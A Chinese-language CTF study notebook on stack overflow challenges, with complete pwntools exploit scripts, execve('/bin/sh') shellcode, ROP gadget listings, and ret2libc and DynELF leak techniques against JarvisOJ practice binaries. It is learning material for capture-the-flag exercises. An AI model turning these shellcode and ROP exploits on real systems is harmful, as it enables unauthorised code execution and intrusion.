0x00.前言
记录一下自己在pwn的学习中遇到的套路.
主要以做题为主,加入套路相关资料.
刷题就完事了.
pwn相关资料:
linux下pwn从入门到放弃
https://blog.csdn.net/niexinming/article/details/78814422
一步一步学ROP之linux_x64篇 – 蒸米
http://www.vuln.cn/6644
0x01.栈溢出
相关资料:
https://blog.csdn.net/aemperor/article/details/47310593
https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/stack_intro/
题目地址01:
https://www.jarvisoj.com/challenges/level0
nc pwn2.jarvisoj.com 9881
目标地址共:0x88system
函数位置:0x400596
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9881') #与远程服务器交互
payload='a'*0x80+'a'*0x8 #'a'可以随便用一个字符替换,0x80起到填充作用,0x8用来淹没bp.
number=p64(0x400596) #p64(64位)将数字转为字符串
payload=payload+number
p.sendline(payload)
p.interactive() #反弹shell
题目地址02:(没开NX
保护的32
位栈溢出)
https://www.jarvisoj.com/challenges/level1
nc pwn2.jarvisoj.com 9877
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
目标地址共:0x88+0x4.
无system
函数地址.
程序没开NX
保护,可以通过自己编写shellcode执行.
shellcode:
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80h
root@kali:~/Desktop# vi shellcode.asm #将汇编语言输入
root@kali:~/Desktop# nasm -f elf32 shellcode.asm #生成.o文件
root@kali:~/Desktop# ld -m elf_i386 -o shellcode shellcode.o
root@kali:~/Desktop# objdump -S shellcode
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 31 d2 xor %edx,%edx
8048064: 52 push %edx
8048065: 68 2f 2f 73 68 push $0x68732f2f
804806a: 68 2f 62 69 6e push $0x6e69622f
804806f: 89 e3 mov %esp,%ebx
8048071: 31 c0 xor %eax,%eax
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9877')
shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80" #system("/bin/sh")
p.recvuntil(':')
addr=p.recvuntil('?',drop=True) #一直读到?的pattern出现为止,drop=True表示是否丢弃pattern
addr=int(addr,16)
payload=shellcode+'a'*(0x8c-len(shellcode))+p32(addr) #32位文件用p32打包
p.sendline(payload)
p.interactive()
题目地址03:(开了NX
保护的32
位栈溢出)
https://www.jarvisoj.com/challenges/level2
nc pwn2.jarvisoj.com 9878
目标地址共:0x88+0x4.system
函数在0x08048320./bin/sh
在.data
中,0x0804A024.
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9878')
payload='a'*0x88+'a'*0x4
addr=p32(0x0804A024)
sys_addr=p32(0x08048320)
payload=payload+sys_addr+'aaaa'+addr #构造system("/bin/sh")->system地址+system返回地址+"/bin/sh"地址
p.sendline(payload)
p.interactive()
题目地址04:(开了NX
保护的64
位栈溢出)
https://www.jarvisoj.com/challenges/level2(x64)
nc pwn2.jarvisoj.com 9882
在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中
目标地址共:0x80+0x8.system
地址:0x00000000004004C0
这里使用ROPgadget
工具查看寄存器
地址和/bin/sh
字符串地址(也可ida手动查看)
root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level2_x64 --string /bin/sh
Strings information
============================================================
0x0000000000600a90 : /bin/sh
root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11
可以看到参数传入第一个寄存器rdi
的地址为0x00000000004006b3
.
然后将栈的下一位设置为/bin/sh
的地址,这样,执行完pop rdi
之后,就会将/bin/sh
放置到rdi
中了.
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9882')
payload='a'*0x80+'a'*0x8
addr=p64(0x0000000000600A90)
sys_addr=p64(0x00000000004004C0)
rdi_addr=p64(0x00000000004006b3)
payload=payload+rdi_addr+addr+sys_addr
p.sendline(payload)
p.interactive()
题目地址04:(二次溢出
的32
位栈溢出)
https://www.jarvisoj.com/challenges/level3
nc pwn2.jarvisoj.com 9879
目标地址共:0x88+0x4.
首先这是一个32位的文件,那么再次回忆一下32位的参数传递规则.
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
然后进入题目
在程序中并没有发现system
调用函数,也没有/bin/sh
字符串
但题目给了libc-2.19.so
动态链接文件,用ida查看该文件,可以获知write
,read
,system
等函数在.so文件中的偏移,也可以获取/bin/sh
字符串的偏移.
那么假设一个函数A在进程内存空间的地址为funA_address
,在libc
中的地址为funA_addr
;函数B同样如此假设。
那么就存在这样一个等式成立:
funA_address - funA_addr = funB_address - funB_addr
在本题题中,我们想要获知的是系统调用函数system
和关键字符串/bin/sh
在内存空间的地址。
所以有此等式成立:
write_address - write_addr = system_address - system_addr = bin_address - bin_addr
这样,问题变成了如何得到write
函数在内存空间中的地址?
我们可以使用vulnerable_function()
中的write()
函数将write在内存中的地址泄露出来.
然后使用利用上面提到的公式得到system()
函数的地址以及/bin/sh
的地址
最后利用vulnerable_function()
函数中的read()
函数构造system("/bin/sh")
得到shell
exp:
#!usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9879')
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
payload='a'*0x88+'a'*0x4
vuln_addr=0x0804844B #vulnerable_function
write_plt=e.symbols['write'] #write_plt_addr
write_got=e.got['write'] #write_got_addr
payload1=payload+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4) # 1表示write函数的第一个参数,表示文件描述符,stdin(0).
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv(4))
write_libc=libc.symbols['write'] #write_libc_addr
system_libc=libc.symbols['system'] #system_libc_addr
sh_libc=libc.search('/bin/sh').next() #sh_libc_addr
system_addr=write_addr-write_libc+system_libc #system_addr-system_libc=write_addr-write_libc
sh_addr=write_addr-write_libc+sh_libc #sh_addr-sh_libc=write_addr-write_libc
payload2=payload+p32(system_addr)+"aaaa"+p32(sh_addr)
p.sendline(payload2)
p.interactive()
题目地址05:(二次溢出
的64
位栈溢出)
https://www.jarvisoj.com/challenges/level3
nc pwn2.jarvisoj.com 9883
64位与32位差别不大,主要是参数传递方式的不同.
如果参数传递方式忘记可以往上翻.
程序中并没有发现system
调用函数,也没有/bin/sh
字符串64
位函数调用需要使用寄存器传参
我们可以利用read()
函数先溢出修改返回地址到plt
表中的write()
函数
这样我们就可以通过构造write()
函数的调用栈来打印出got
表中read()
或者write()
函数的地址
那么我们知道了地址,就可以通过libc
来寻找到system()
函数的偏移地址了
然后再构造sytem()
的调用栈
目标地址共:0x80+0x8.
使用ROPgadget
工具查看寄存器
地址和/bin/sh
字符串地址(也可ida手动查看)
root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 11
按照参数传递约定,write
函数需要三个参数,需要rdi
,rsi
,rdx
三个寄存器,但是没有发现所需要的第三个寄存器rdx
所以可以先跳过第三个参数(读入长度)
写好exp之后可以调试下,查看在调用函数之前,rdx
的值,如果rdx值>=8
,那么就不需要处理.
exp:
#!usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9883')
libc=ELF('./libc-2.19.so')
e=ELF('./level3_x64')
payload='a'*0x80+'a'*0x8
rdi_addr=p64(0x00000000004006b3)
rsi_addr=p64(0x00000000004006b1)
vuln_addr=0x04005E6 #vulnerable_function
write_plt=e.symbols['write'] #write_plt_addr
write_got=e.got['write'] #write_got_addr
payload1=payload+rdi_addr+p64(1)+rsi_addr+p64(write_got)+p64(1)+p64(write_plt)+p64(vuln_addr)
p.recvuntil('Input:\n')
p.sendline(payload1)
write_addr=u64(p.recv(8))
write_libc=libc.symbols['write'] #write_libc_addr
system_libc=libc.symbols['system'] #system_libc_addr
sh_libc=libc.search('/bin/sh').next() #sh_libc_addr
system_addr=write_addr-write_libc+system_libc #system_addr-system_libc=write_addr-write_libc
sh_addr=write_addr-write_libc+sh_libc #sh_addr-sh_libc=write_addr-write_libc
payload2=payload + rdi_addr+p64(sh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()
题目地址06:(无libc
的32
位栈溢出)
https://www.jarvisoj.com/challenges
nc pwn2.jarvisoj.com 9880
查看elf文件无system
和/bin/sh
地址,而且无libc
文件.
可以通过DynELF
模块来泄漏地址信息,从而获取到shell.
这里推荐参考文章
借助DynELF实现无libc的漏洞利用小结
https://www.anquanke.com/post/id/85129
目标地址共:0x88+0x4.
思路就是通过DynELF
模块泄露出system
,然后将参数/bin/sh
写入bss
段上去.
由于有ASLR
的限制,所以要实现在一次连接多次溢出,要找一个三次pop
,一次ret
的gadgets
,通过ROPgadget
就可以找到.
- 调用
write
函数来泄露地址信息,比较方便 - 32位linux下可以通过布置栈空间来构造函数参数,不用找
gadget
,比较方便 - 在泄露完函数地址后,需要重新调用一下
_start
函数,用以恢复栈 - 在实际调用
system
前,需要通过三次pop操作来将栈指针指向systemAddress
,可以使用ropper
或ROPgadget
来完成.
root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0 --only "pop|ret"
Gadgets information
============================================================
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1
Unique gadgets found: 7
可以找到0x08048509 : pop esi ; pop edi ; pop ebp ; ret
exp:
#!usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p=remote('pwn2.jarvisoj.com','9880')
e=ELF('./level4')
write_plt = e.symbols['write']
write_got = e.got['write']
read_plt = e.symbols['read']
read_got = e.got['read']
vuln_addr=e.symbols['vulnerable_function']
start_addr = e.symbols['_start']
bss_addr=e.symbols['__bss_start']
def leak(address):
payload = 'a'*0x88+'a'*0x4
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
p.send(payload)
data = p.recv(4)
return data
dynelf = DynELF(leak, elf=ELF("./level4"))
system_addr = dynelf.lookup('__libc_system', 'libc')
payload1 = 'a'*0x88+'a'*0x4
payload1 += p32(start_addr)
p.sendline(payload1)
pppr_addr = 0x08048509
payload1 = 'a'*0x88+'a'*0x4
payload1 += p32(read_plt)
payload1 += p32(pppr_addr)
payload1 += p32(1)
payload1 += p32(bss_addr)
payload1 += p32(8)
payload1 += p32(system_addr) + p32(vuln_addr) + p32(bss_addr)
p.sendline(payload1)
p.sendline('/bin/sh\0')
p.interactive()
嘤嘤嘤余老师带带窝